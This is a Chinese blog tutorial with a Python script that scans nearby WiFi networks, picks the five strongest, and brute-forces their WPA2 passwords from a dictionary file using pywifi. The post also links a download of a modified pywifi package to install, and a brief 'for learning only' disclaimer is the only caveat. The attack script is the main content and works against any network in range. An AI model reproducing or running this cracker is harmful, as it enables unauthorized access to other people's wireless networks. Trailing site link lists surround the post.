Python利用字典破解WIFI密码的方法


Posted in Python onFebruary 27, 2019

最近看到网上的一些作品,然后进行一些完善。只是用于学习,不要去干坏事哦。程序来源于网,我只是做了一些优化。当然这种方法破解还是有点慢哦。我用的python 3.6.5

既然要破解wifi,那么连接wifi的模块首先要有的,我们要导入pywifi模块。

有些同学可能没有这个,如果直接通过pip安装的话,可能不能用,听说这个wifi模块被停用了,所以大家如果通过pip安装的不行,那么就下载我提供的。

链接:https://pan.baidu.com/s/1rn-5F1CS5UXOTcLh3QAMhg

本地安装方法:

1)下载解压好以后,我们用cmd命令行,进入到你的文件目录

2)使用命令pip install . 注意了(install后面有个点) 

3)然后就会安装了,等一会就可以了。

程序先查找附近的WIFI,然后按信号强度进行排序,然后只取前wificount=5个信号好的。

import pywifi
from pywifi import const #引用一些定义
import time
namelist = []
ssidlist = []
result = [] #存放查询到的WIFI,密码
wificount=5 #查询附近信号最强的5个WIFI,最多5个
def getwifi():
  wifi=pywifi.PyWiFi()#抓取网卡接口
  ifaces=wifi.interfaces()[0]#获取网卡
  ifaces.scan()
  time.sleep(8) 
  bessis = ifaces.scan_results()
  list = []  
  for data in bessis:
    if(data.ssid not in namelist): #去掉重复的WIFI名称
      namelist.append(data.ssid)
      list.append((data.ssid, data.signal))  
  sorted(list, key=lambda st: st[1], reverse=True)
  time.sleep(1)
  n=0
  if len(list) is not 0:
    for item in list:
      if(item[0] not in ssidlist):
        n=n+1
        if n<=wificount:
          ssidlist.append(item[0])
  print(ssidlist)
def testwifi(ssidname,password):
  wifi=pywifi.PyWiFi()#抓取网卡接口
  ifaces=wifi.interfaces()[0]#获取网卡
  ifaces.disconnect()#断开无限网卡连接
  profile=pywifi.Profile()#创建wifi连接文件
  profile.ssid=ssidname#定义wifissid
  profile.auth=const.AUTH_ALG_OPEN#网卡的开放
  profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法
  profile.cipher=const.CIPHER_TYPE_CCMP##加密单元
  profile.key=password #wifi密码
  ifaces.remove_all_network_profiles()#删除其他所有配置文件
  tmp_profile=ifaces.add_network_profile(profile)#加载配置文件
  ifaces.connect(tmp_profile)#连接wifi
  time.sleep(5)#5秒内能否连接上
  if ifaces.status()==const.IFACE_CONNECTED:   
    return True    
  else:
    #print("[-]WiFi connection failure!")
    return False
  #ifaces.disconnect()#断开连接
  #time.sleep(1)
  return True
def main():
  getwifi() 
  #ssidlist = ['Oun'] #如果知道WIFI直接写就行了。
  if(len(ssidlist) is not 0):
    path=r"password.txt"
    files=open(path,'r')
    while True:
        if(len(ssidlist) is 0):
          break
        try:
          password =files.readline()
          password=password.strip('\n')
          if not password:
            break
          for item in result: #把已经找到密码的WIFI从查询中删除。
            ssidlist.remove(item[0])
          for ssidname in ssidlist:           
            if(testwifi(ssidname,password)==True):
              result.append((ssidname,password)) #把找到的WIFI密码保存起来
              print('Succ','Current WifiName:',ssidname,'Current Password:',password)
            else:
              print('Fail','Current WifiName:',ssidname,'Current Password:',password)
        except:
          continue
    files.close()
    print("\n","WIFI结果列表:")
    for item in result: #把已经找到密码的WIFI从查询中删除。
      print("")
      print("无线:",item[0])
      print("密码:",item[1])
  else:
    print("没有找到WIFI信号,请重试。")
if __name__ == '__main__':
  main()

总结

以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作具有一定的参考学习价值,谢谢大家对三水点靠木的支持。如果你想了解更多相关内容请查看下面相关链接

Python 相关文章推荐
在Python的Django框架中使用通用视图的方法
Jul 21 Python
Python自动生产表情包
Mar 17 Python
Python开发的HTTP库requests详解
Aug 29 Python
python openpyxl使用方法详解
Jul 18 Python
python 实现识别图片上的数字
Jul 30 Python
python同时替换多个字符串方法示例
Sep 17 Python
python 错误处理 assert详解
Apr 20 Python
浅谈Python中threading join和setDaemon用法及区别说明
May 02 Python
Python基于numpy模块实现回归预测
May 14 Python
Python-opencv实现红绿两色识别操作
Jun 04 Python
python 使用tkinter+you-get实现视频下载器
Nov 17 Python
查找适用于matplotlib的中文字体名称与实际文件名对应关系的方法
Jan 05 Python
pyside+pyqt实现鼠标右键菜单功能
Dec 08 #Python
基于PyQt4和PySide实现输入对话框效果
Feb 27 #Python
python使用PyQt5的简单方法
Feb 27 #Python
Python创建字典的八种方式
Feb 27 #Python
基于wxPython的GUI实现输入对话框(2)
Feb 27 #Python
基于wxPython的GUI实现输入对话框(1)
Feb 27 #Python
Python使用字典的嵌套功能详解
Feb 27 #Python
You might like
yii2框架中使用下拉菜单的自动搜索yii-widget-select2实例分析
2016/01/09 PHP
PHP记录页面停留时间的方法
2016/03/30 PHP
php基于数组函数实现关联表的编辑操作示例
2017/07/04 PHP
php post json参数的传递和接收处理方法
2018/05/31 PHP
使用新的消息弹出框blackbirdjs
2008/10/16 Javascript
基于jQuery实现左右div自适应高度完全相同的代码
2012/08/09 Javascript
基于JQuery的一句话搞定手风琴菜单
2012/09/14 Javascript
GRID拖拽行的实例代码
2013/07/18 Javascript
jquery验证表单中的单选与多选实例
2013/08/18 Javascript
Jquery性能优化详解
2014/05/15 Javascript
jquery彩色投票进度条简单实例演示
2020/07/23 Javascript
Bootstrap每天必学之标签页(Tab)插件
2020/08/09 Javascript
bootstrap制作jsp页面(根据值让table显示选中)
2017/01/05 Javascript
Vue.js学习教程之列表渲染详解
2017/05/17 Javascript
纯html+css+javascript实现楼层跳跃式的页面布局(实例代码)
2017/10/25 Javascript
Node.js实现简单的爬取的示例代码
2019/06/25 Javascript
[03:42]2014DOTA2西雅图国际邀请赛 Navi战队巡礼
2014/07/07 DOTA
python使用reportlab画图示例(含中文汉字)
2013/12/03 Python
Python生成密码库功能示例
2017/05/23 Python
python复制文件到指定目录的实例
2018/04/27 Python
将Dataframe数据转化为ndarry数据的方法
2018/06/28 Python
Python中的CSV文件使用&quot;with&quot;语句的方式详解
2018/10/16 Python
Pycharm代码无法复制,无法选中删除,无法编辑的解决方法
2018/10/22 Python
python单线程文件传输的实例(C/S)
2019/02/13 Python
Flask中endpoint的理解(小结)
2019/12/11 Python
浅谈keras中的Merge层(实现层的相加、相减、相乘实例)
2020/05/23 Python
Html5中的桌面通知Notification的实现
2018/09/25 HTML / CSS
Miller Harris官网:英国小众香水品牌
2020/09/24 全球购物
日本亚马逊官方网站:Amazon.co.jp
2020/04/14 全球购物
什么是符号链接,什么是硬链接?符号链接与硬链接的区别是什么?
2014/01/19 面试题
初三学习决心书
2014/03/11 职场文书
艾滋病宣传活动总结
2014/05/08 职场文书
安全目标管理责任书
2014/07/25 职场文书
食品安全责任书范本
2015/05/09 职场文书
2019企业给员工的慰问信
2019/06/24 职场文书
python爬虫请求库httpx和parsel解析库的使用测评
2021/05/10 Python